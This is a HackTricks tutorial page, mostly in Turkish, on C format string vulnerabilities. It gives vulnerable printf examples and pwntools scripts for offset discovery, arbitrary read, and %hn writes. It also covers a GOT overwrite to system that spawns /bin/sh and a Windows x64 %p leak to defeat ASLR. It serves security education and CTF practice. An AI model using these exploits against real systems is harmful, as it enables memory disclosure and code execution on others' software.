259 lines
12 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Format Strings
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
C'de **`printf`** bazı dizeleri **yazdırmak** için kullanılan bir fonksiyondur. Bu fonksiyonun beklediği **ilk parametre**, **formatlayıcıları içeren ham metindir**. Takip eden **parametreler** ise ham metindeki **formatlayıcıları** **yerine koymak** için gereken **değerlerdir**.
Diğer zafiyete açık fonksiyonlar **`sprintf()`** ve **`fprintf()`**'dir.
Zafiyet, bu fonksiyona **saldırgan metninin ilk argüman olarak verilmesi** durumunda ortaya çıkar. Saldırgan, **printf format** string yeteneklerini suistimal ederek okunabilir ve **herhangi bir adresteki herhangi bir veriyi yazmak (okunabilir/yazılabilir)** için **özel bir girdi** oluşturabilir ve bu yolla **istediği herhangi bir kodu çalıştırabilir**.
#### Formatters:
```bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**Örnekler:**
- Zafiyetli örnek:
```c
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
```
- Normal Kullanım:
```c
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
- Eksik Argümanlarla:
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
- fprintf güvenlik açığı olan:
```c
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}
```
### **İşaretçilere Erişim**
Biçim **`%<n>$x`**, burada `n` bir sayıdır, printf'e stack'ten n. parametreyi seçmesini belirtmeyi sağlar. Yani printf kullanarak stack'ten 4. parametreyi okumak istiyorsanız şu şekilde yapabilirsiniz:
```c
printf("%x %x %x %x")
```
ve birinci parametreden dördüncü parametreye kadar okurdunuz.
Veya şöyle yapabilirsiniz:
```c
printf("%4$x")
```
ve doğrudan dördüncüyü okumak.
Dikkat edin ki saldırgan `printf` **parameter`ını kontrol eder; bu temelde** girdisinin `printf` çağrıldığında stack'te olacağı anlamına gelir, bu da stack'e belirli memory addresses yazabileceği anlamına gelir.
> [!CAUTION]
> Bu girdiyi kontrol eden bir saldırgan, **stack'e arbitrary address ekleyip `printf`'in onlara erişmesini sağlayabilir**. Bir sonraki bölümde bu davranışın nasıl kullanılacağııklanacaktır.
## **Arbitrary Read**
`%n$s` formatlayıcısını kullanarak `printf`'in **n position**'da bulunan **address**'i almasını, onun izini takip etmesini ve **bir stringmiş gibi yazdırmasını** (0x00 bulunana kadar yazdırır) sağlamak mümkündür. Bu nedenle binary'nin base address'i `0x8048000` ise ve user input'un stack'te 4th position'da başladığını biliyorsak, binary'nin başlangıcını şu şekilde yazdırmak mümkündür:
```python
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
> [!CAUTION]
> input'un başına 0x8048000 adresini koyamayacağınızı unutmayın çünkü string o adresin sonunda 0x00'da cat olacaktır.
### Ofseti bul
input'unuzun ofsetini bulmak için 4 veya 8 byte (`0x41414141`) gönderebilir, bunu **`%1$x`** ile takip edebilir ve `A's` geri gelene kadar değeri **artırabilirsiniz**.
<details>
<summary>Brute Force printf offset</summary>
```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
from pwn import *
# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
# Start a new process of the "chall" binary
p = process("./chall")
# Send the payload to the process
p.sendline(payload)
# Read and store the output of the process
output = p.clean()
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break
# Close the process
p.close()
```
</details>
### Ne kadar yararlı
Arbitrary reads şu amaçlarla yararlı olabilir:
- Bellekten **binary**'yi **Dump** etmek
- Hassas **info**'nun saklandığı **memory**'nin belirli bölümlerine erişmek (ör. canaries, encryption keys veya custom passwords gibi bu [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Arbitrary Write**
The formatter **`%<num>$n`** stack'teki <num> parametresinin gösterdiği adrese yazılmış byte sayısını yazar. Eğer bir saldırgan printf ile istediği kadar char yazabiliyorsa, **`%<num>$n`** ile herhangi bir adrese arbitrary bir sayı yazdırabilir.
Neyse ki 9999 sayısını yazdırmak için input'a 9999 adet "A" eklemeye gerek yok; bunun yerine formatör **`%.<num-write>%<num>$n`** kullanılarak **`<num-write>`** sayısı `num` pozisyonunun gösterdiği adrese yazılabilir.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
Ancak, genellikle `0x08049724` gibi bir adresi yazmak (ki bu bir kerede yazmak için ÇOK BÜYÜK bir sayı) için **`$n` yerine `$hn` kullanılır**. Bu, **sadece 2 Bytes yazılmasını** sağlar. Bu yüzden bu işlem iki kez yapılır; bir kez adresin en yüksek 2B'si için ve bir kez en düşükleri için.
Bu nedenle, bu zafiyet herhangi bir adrese **herhangi bir şeyi yazma (arbitrary write)** imkanı verir.
Bu örnekte amaç, daha sonra çağrılacak bir **function**'ın **GOT** tablosundaki **address**'ini **overwrite** etmektir. Ancak bu, diğer arbitrary write to exec tekniklerini de kullanabilir:
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
Kullanıcıdan argümanlarını alan bir **function**'ı **overwrite** edip onu **`system`** **function**'ına yönlendireceğiz.\
Daha önce bahsedildiği gibi, adresi yazmak genellikle 2 adım gerektirir: Önce adresin **2Bytes**'ını yazarsınız, sonra diğer 2'sini. Bunun için **`$hn`** kullanılır.
- **HOB** is called to the 2 higher bytes of the address
- **LOB** is called to the 2 lower bytes of the address
Sonra, format string'in çalışma şekli nedeniyle önce [HOB, LOB] arasındaki **en küçük olanı** yazmanız ve sonra diğerini yazmanız gerekir.
If HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
If HOB > LOB\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
```bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
```
### Pwntools Template
Bu tür bir zafiyeti exploit etmek için bir **şablon** şu adreste bulunabilir:
{{#ref}}
format-strings-template.md
{{#endref}}
Veya [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) adresindeki bu temel örnek:
```python
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
```
## Format Strings to BOF
Bir format string açığının yazma işlemlerini suistimal ederek stack adreslerine yazmak ve bir buffer overflow türündeki açığı exploit etmek mümkündür.
## Windows x64: Format-string leak to bypass ASLR (no varargs)
Windows x64'te ilk dört integer/pointer parametre register'larda geçirilir: RCX, RDX, R8, R9. Birçok hatalı call-site'te attacker-controlled string format argument olarak kullanılır ancak hiç variadic arguments sağlanmaz, örneğin:
```c
// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
```
Because no varargs are passed, any conversion like "%p", "%x", "%s" will cause the CRT to read the next variadic argument from the appropriate register. With the Microsoft x64 calling convention the first such read for "%p" comes from R9. Whatever transient value is in R9 at the call-site will be printed. In practice this often leaks a stable in-module pointer (e.g., a pointer to a local/global object previously placed in R9 by surrounding code or a callee-saved value), which can be used to recover the module base and defeat ASLR.
Pratik iş akışı:
- Saldırgan kontrollü string'in en başına, ilk dönüşüm herhangi bir filtrelemeden önce çalışacak şekilde "%p " gibi zararsız bir format enjekte edin.
- Leaked pointer'ı yakalayın, modül içindeki o nesnenin statik offset'ini belirleyin (symbols ile veya yerel bir kopya üzerinde bir kez reversing yaparak) ve image base'i `leak - known_offset` olarak geri kazanın.
- Bu base'i yeniden kullanarak ROP gadget'ları ve IAT girişleri için mutlak adresleri uzaktan hesaplayın.
Example (abbreviated python):
```python
from pwn import remote
# Send an input that the vulnerable code will pass as the "format"
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9
io = remote(HOST, 4141)
# ... drive protocol to reach the vulnerable snprintf ...
leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
base = leaked - 0x20660 # module base = leak - offset
print(hex(leaked), hex(base))
```
Notlar:
- Çıkarılacak kesin offset, yerel reversing sırasında bir kez bulunur ve sonra tekrar kullanılır (same binary/version).
- Eğer "%p" ilk denemede geçerli bir pointer yazdırmıyorsa, diğer specifier'ları ("%llx", "%s") veya diğer argüman register'larını/stack'i örneklemek için birden fazla conversion ("%p %p %p") deneyin.
- Bu desen, Windows x64 calling convention ve printf-family implementasyonlarına özeldir; format string onları istediğinde varargs olmayan değerleri register'lardan çeker.
Bu teknik, ASLR ile derlenmiş ve belirgin memory disclosure primitives olmayan Windows servislerinde ROP'u bootstrap etmek için son derece kullanışlıdır.
## Diğer Örnekler ve Referanslar
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
- 32 bit, no relro, no canary, nx, no pie; format string'lerin temel kullanımıyla stack'ten flag'i leak etmek (execution flow'u değiştirmeye gerek yok)
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bit, relro, no canary, nx, no pie; fflush adresini win function ile overwrite etmek için format string (ret2win)
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- 32 bit, relro, no canary, nx, no pie; `.fini_array` içinde main içine bir adres yazmak için format string (böylece akış 1 kez daha loop'lar) ve GOT tablosunda `strlen`'i işaret eden yeri `system` adresi ile yazmak. Akış main'e geri döndüğünde, `strlen` kullanıcı girdisiyle çalıştırılacak ve `system`'e işaret ettiği için verilen komutları çalıştıracak.
## Referanslar
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)
{{#include ../../banners/hacktricks-training.md}}